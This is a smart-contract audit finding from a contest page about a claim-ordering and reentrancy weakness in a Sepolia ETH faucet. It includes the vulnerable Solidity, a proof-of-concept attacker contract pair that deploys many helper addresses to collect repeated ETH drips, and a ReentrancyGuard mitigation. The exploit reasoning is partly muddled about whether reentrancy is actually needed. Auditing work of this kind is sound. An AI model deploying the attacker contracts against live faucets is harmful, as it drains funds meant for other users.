Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

H01. Reentrancy with Multi-Contract Replay (Per-Address ETH Drip Bypass)

Reentrancy with Multi-Contract Replay (Per-Address ETH Drip Bypass)

Description

  • Normal behavior: claimFaucetTokens() should allow a caller to receive one Sepolia ETH drip (one-time per address) and one token drip, and enforce a cooldown so that repeated claims are prevented. The contract intends to perform checks, update state, and then perform external transfers.

  • Specific issue: the function performs an external ETH transfer to msg.sender while some important per-claimer state (lastClaimTime) is only written after that external call. A malicious caller implemented as a contract can reenter the function during the ETH call and perform additional claims. A direct reentrant call from the same contract cannot receive ETH more than once because hasClaimedEth[attacker] is set before the external call. However the attacker can deploy or use different contracts and have them call into the faucet in a chain (A calls and reenters B, B calls and reenters C, ...), making each call appear as a different msg.sender and therefore receiving the ETH drip again. This requires one contract per extra ETH drip, costing deployment and gas, but allows draining multiple ETH drips until daily caps / contract balance are exhausted.

// Root cause in the codebase with @> marks to highlight the relevant section
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
@> hasClaimedEth[faucetClaimer] = true;
@> dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(...);
}
}
...
// Effects are written only after the above external call:
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;

Risk

Likelihood:

  • Large-scale mempool activity or an attacker who prepares a set of helper contracts will perform this during normal faucet usage windows, when ETH balance and daily cap are sufficient to cover multiple drips.

  • Automated attackers who can deploy multiple thin helper contracts cheaply on a testnet or low-cost environment will run chained calls to maximize ETH extracted up to caps.

Impact:

  • Multiple Sepolia ETH drips can be obtained by the attacker by presenting different contract addresses as callers; this can materially deplete the faucet’s ETH balance up to dailySepEthCap or contract balance.

  • Token drips can also be amplified: because lastClaimTime is set only after the ETH transfer, rapid reentrant calls by contracts may obtain multiple token drip transfers in a single transaction before lastClaimTime prevents further claims for a specific address (the token-drain impact is larger if attack uses reentry loops across contracts).

Proof of Concept

// Simplified PoC explanation and high-level pseudo/solidity-like outline.
// This PoC demonstrates how an attacker uses a primary malicious contract
// (AttackerLauncher) to invoke the faucet and cause reentrancy into a helper
// contract (AttackerHelper), then the helper contract invokes the faucet so
// that each distinct contract address receives the ETH drip.
pragma solidity ^0.8.0;
interface IFaucet {
function claimFaucetTokens() external;
}
contract AttackerHelper {
IFaucet public faucet;
address public launcher; // address that deployed/triggered this helper
constructor(address faucetAddr, address _launcher) {
faucet = IFaucet(faucetAddr);
launcher = _launcher;
}
// fallback receive() executes when this contract receives ETH from faucet
receive() external payable {
// Reenter the faucet using this contract as msg.sender to obtain token + ETH
// In practice, this contract's receive will call the faucet.claimFaucetTokens()
// so that this helper itself receives a drip on first entry.
// For chained multi-address ETH drips, the launcher will deploy multiple helpers and
// orchestrate calls so that each helper becomes the caller of the faucet.
// Note: direct reentry by the same helper only yields ETH once (hasClaimedEth true),
// so multiple helper contracts are used to get multiple ETH drips.
try faucet.claimFaucetTokens() {
// successful reentry for this helper
} catch { }
}
// trigger initial call from the launcher
function trigger() external {
// Call the faucet as this helper contract
faucet.claimFaucetTokens();
}
}
contract AttackerLauncher {
IFaucet public faucet;
address[] public helpers;
constructor(address faucetAddr) {
faucet = IFaucet(faucetAddr);
}
// Deploy many tiny helper contracts and trigger them to claim via the faucet.
// Each helper is a unique contract address, so each helper can receive one ETH drip.
function deployAndTrigger(uint256 n) external {
for (uint256 i = 0; i < n; i++) {
// Deploy a helper that will call the faucet when it receives ETH
AttackerHelper helper = new AttackerHelper(address(faucet), address(this));
helpers.push(address(helper));
// Directly trigger the helper to call faucet.claimFaucetTokens() as its msg.sender
helper.trigger();
// When the helper receives ETH in the faucet call, its receive() will reenter
// in some implementations; however even without immediate reentrancy, each helper
// is a unique address and is eligible for the one-time ETH drip.
}
}
}

Explanation:

  • AttackerLauncher deploys multiple AttackerHelper contracts. Each helper is a distinct contract address and therefore hasClaimedEth[helper] starts as false.

  • The launcher triggers each helper to call claimFaucetTokens() — the faucet will set hasClaimedEth[helper] = true and then send ETH to that helper.

  • If the faucet sends ETH via call, the helper’s receive() can reenter the faucet immediately (depending on ordering), but even if immediate reentry is limited, the key point is each helper is a different caller address, so each helper can receive the one-time ETH drip once.

  • To get multiple ETH drips in a single transaction via reentrancy chaining, the attacker could orchestrate calls so that a helper’s receive triggers a call from the helper to the faucet, and that helper’s receive triggers another helper, etc. Each distinct contract in the chain appears as a distinct msg.sender and can receive an ETH drip before lastClaimTime updates block further claims.

Cost and practical considerations:

  • Each additional ETH drip requires a separate contract address (helper). Deploying many helpers costs gas and is more expensive than a single-call exploit, but on testnets or low-cost chains this remains feasible.

  • The attack is bounded by dailySepEthCap and the faucet’s ETH balance.

Recommended Mitigation

Lock claim state before external calls
Add the nonReentrant modifier from OpenZeppelin

- remove this code
+ // 1) Prevent reentrancy into claimFaucetTokens
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard { ... }
+
+ // mark the function nonReentrant
+ function claimFaucetTokens() public nonReentrant {
+ address faucetClaimer = msg.sender; // local variable
+
+ // 2) Lock claim state before external calls
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
+ // 3) Perform ETH transfer with state already updated, or adopt pull pattern:
+ // (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ // Alternatively: record entitlement and let recipients pull
+ // entitlements[faucetClaimer] += sepEthAmountToDrip;
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.